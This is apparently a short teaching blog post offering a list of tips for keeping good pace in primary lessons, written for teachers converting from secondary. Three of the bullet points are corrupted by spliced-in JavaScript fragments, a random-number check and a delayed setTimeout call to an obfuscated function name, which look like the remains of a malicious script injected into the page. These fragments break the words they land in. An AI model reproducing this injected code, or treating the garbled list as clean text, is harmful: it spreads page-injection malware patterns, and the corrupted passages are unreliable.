As part of my top tips for Secondary teachers converting to Primary teaching, tip #3 is make your teaching EPIC

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So what does pace look like in the classroom. – With pace it is important to remember that pace does not just mean speeding through everything: “Pace, not race.”

Here are some suggestions:

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• Allow silence
• Confident, enthusiastic adult delivery of lesson
• Controlled – by children
• Everyone engaged
• Flexibility
• Good behaviour management
• Good planning but ability to adapt
• High expectations of listening andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} attention
• Immediate feedback
• Knowing when to move on – responding to children
• Knowing when to slow things down
• Lesson organisation
• Names on sticks
• No handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s up
• No time is lost
• Pitch & expectations
• Shape/pattern/structure of lesson
• Subject knowledge/confidence
• Talk partners
• Think about input
• Time andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} resource management
• Time limits
• Training in basic routines
• Variety of timed activities
• Wait for thinkers

Please add your own suggestions with a comment below.